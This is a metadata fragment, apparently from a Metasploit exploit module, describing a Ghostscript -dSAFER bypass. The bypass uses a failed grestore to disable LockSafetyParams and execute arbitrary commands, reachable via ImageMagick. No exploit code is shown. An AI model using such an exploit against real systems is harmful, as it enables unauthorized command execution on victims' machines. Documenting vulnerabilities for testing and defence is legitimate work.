'Name' => 'Ghostscript Failed Restore Command Execution',
'Description' => %q{
This module exploits a -dSAFER bypass in Ghostscript to execute
arbitrary commands by handling a failed restore (grestore) in
PostScript to disable LockSafetyParams and avoid invalidaccess.
This vulnerability is reachable via libraries such as ImageMagick,
and this module provides the latest vector for Ghostscript.
For previous Ghostscript vectors, please see the following modules:
exploit/unix/fileformat/ghostscript_type_confusion
exploit/unix/fileformat/imagemagick_delegate
